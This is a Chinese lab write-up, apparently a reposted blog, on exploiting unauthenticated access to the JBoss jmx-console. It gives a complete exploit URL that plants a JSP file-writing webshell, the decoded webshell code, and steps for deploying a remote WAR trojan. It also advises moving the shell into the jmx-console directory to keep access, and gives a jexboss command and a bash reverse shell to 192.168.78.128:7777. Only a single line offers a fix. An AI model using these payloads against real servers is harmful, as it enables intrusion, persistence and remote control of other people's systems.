Jboss未授权访问漏洞记录(影响版本:全版本,端口:80,8080)
一、前言
漏洞原因:在低版本中,默認(rèn)可以訪問Jboss web控制臺(tái)(http://127.0.0.1:8080/jmx-console),無需用戶名和密碼。
?
二、環(huán)境配置
使用docker搭建環(huán)境
docker search testjboss ? ?#搜索環(huán)境
docker pull testjboss/jboss ? 選擇環(huán)境
docker run -p 80:8080 -d testjboss/jboss ? #查看打開的docker環(huán)境
運(yùn)行環(huán)境,訪問http://ip
三、漏洞復(fù)現(xiàn)
方法一:寫木馬
直接訪問jboss控制臺(tái)
http://192.168.78.129/jmx-console/
寫入一句話木馬:
http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
url中的參數(shù):arg0代表war包的名稱,arg1=文件名稱,arg2=文件后綴名,arg3=文件內(nèi)容
將arg3的值取出來并url解碼:
<% if(request.getParameter(“f”)!=null)(new?java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>
這個(gè)語句的功能是寫入文件功,f=文件名,t=文件內(nèi)容
寫入1.txt文件
http://192.168.78.129/August/shell.jsp?f=1.txt&t=hello%20world!
訪問1.txt文件
方法二:上傳木馬
首先制作一個(gè)war木馬(需要jdk),在java目錄下管理員cmd執(zhí)行:
jar cvf ma.war index.jsp ?(自備index.jsp馬哦,將index.jsp放入java目錄下運(yùn)行)
生成ma.war
將ma.war放在自己的服務(wù)器上
Jboxx4.x /jmx-console/ 后臺(tái)存在未授權(quán)訪問,進(jìn)入后臺(tái)后,可直接部署 war 包Getshell。若需登錄,可以嘗試爆破弱口令登錄。
然后找到j(luò)boss.deployment(jboss 自帶的部署功能)中的flavor=URL,type=DeploymentScanner點(diǎn)進(jìn)去(通過 url 的方式遠(yuǎn)程部署)
?找到頁面中的void addURL()選項(xiàng)來遠(yuǎn)程加載war包來部署。
接下來我們查看是否部署成功
返回到剛進(jìn)入jmx-console的頁面,找到 jboss.web.deployment,如下說明部署成功。如果沒顯示,多刷新幾次頁面或者等會(huì)兒,直到看到有部署的war包即可
?接下來訪問木馬
成功訪問木馬
這個(gè)目錄最多用作臨時(shí)維持下權(quán)限,所以可以把shell傳到j(luò)mx-console的默認(rèn)目錄來鞏固權(quán)限
jboss-4.2.3.GAserverdefaultdeployjmx-console.war
?
方法三:使用檢測(cè)工具
檢測(cè)工具:jexboss,一個(gè)使用Python編寫的Jboss漏洞檢測(cè)利用工具,通過它可以檢測(cè)并利用web-console,jmx-console,JMXInvokerServlet這三個(gè)漏洞,并且可以獲得一個(gè)shell。
下載地址:https://github.com/joaomatosf/jexboss
python2 jexboss.py -u?http://ip:port
反彈shell到另一個(gè)kali機(jī)上,并在另一個(gè)kali機(jī)開啟nc監(jiān)聽
bash -i >& /dev/tcp/192.168.78.128/7777 0>&1
四、修復(fù)建議
關(guān)閉jmx-console和web-console,提高安全性。
新人創(chuàng)作打卡挑戰(zhàn)賽發(fā)博客就能抽獎(jiǎng)!定制產(chǎn)品紅包拿不停!總結(jié)
以上是生活随笔為你收集整理的Jboss未授权访问漏洞记录(影响版本:全版本,端口:80,8080)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CentOS下禁止防火墙
- 下一篇: git推送出错